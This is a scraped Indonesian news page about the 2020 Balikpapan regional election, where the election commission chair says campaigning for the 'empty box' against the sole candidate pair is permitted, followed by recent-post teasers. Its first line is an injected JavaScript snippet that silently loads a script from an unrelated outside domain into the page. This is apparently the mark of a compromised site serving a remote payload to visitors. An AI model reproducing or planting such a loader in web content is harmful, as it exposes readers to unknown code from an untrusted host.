(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Timur

Hanya Satu Paslon, KPU Balikpapan Tak Larang Kampanye Kotak Kosong


KANALKALIMANTAN.COM, BALIKPAPAN – Pendaftaran Pilkada Serentak tahun ini berakhir pada 6 September 2020, pukul 24.00 Wita.

Hingga batas akhir tersebut, KPU Kota Balikpapan baru menerima pendaftaran satu pasangan calon yakni Rahmad Mas’ud dan Thohari Azis.

Meski berdasarkan tahapan Pilkada masih ada perpanjangan pendaftaran, tidak menutup kemungkinan adanya kotak kosong.

“Pendaftaran di perpanjang mulai 10 – 12 September 2020. Jika masih tidak ada pendaftar tambahan, maka paslon yang sudah mendaftar akan melawan kotak kosong,” kata Ketua KPU Kota Balikpapan Noor Thoha, Senin (7/9/2020).

Pemilih, tambahnya, jika tidak ingin memilih pasangan Rahmad-Thohari, bisa memilih kotak kosong di bilik suara nantinya. Bahkan, tidak ada larangan bagi warga untuk mengkampanyekan kotak kosong.

Meski tidak diatur dalam undang-undang, kampanye kotak kosong juga bukan sebuah pelanggaran. Hanya saja, perlu mekanisme yang jelas soal kampanye tersebut.

“Berdasarkan defenisi kampanye, maka kampanye adalah penyampaian visi misi dan program pasangan calon untuk meyakinkan pemilih. Dari defenisi itu maka jelas kolom kosong ini tidak ada visi misi programnya,” ujarnya.

Pasangan calon, papar Thoha, jika melihat Peraturan KPU maka diharuskan membentuk tim kampanye yang mengkampanyekan pasangan calonnya.

Hal ini tentu berbeda dengan kotak kosong yang tidak diatur sama sekali.

Meski demikian, tambahnya, menjadi kewajiban KPU Kota Balikpapan untuk berlaku adil terhadap setiap kontestan, termasuk kotak kosong.

Tugas KPU Kota Balikpapan untuk menyosialisasikan dan menjelaskan ke masyarakat soal kotak kosong.

“Keberadaan kotak kosong menjadi tanggungjawab KPU untuk mensosialisasikan. Tapi sosialisasi KPU harus adil ,” ujarnya

Thoha menegaskan, tidak ada larangan bagi masyarakat atau kelompok masyarakat untuk menyosialisasikan kotak kosong. Tentu saja, sebutnya, sepanjang tidak melanggar peraturan soal kampanye tersebut.

“Silahkan mensosialisasikan sepanjang tidak ada UU yang ditabraknya,” pungkasnya. (suara)

Reporter : Suara
Editor : Cell

 


Al Ghifari

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

2 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

2 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

3 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

4 jam ago

This website uses cookies.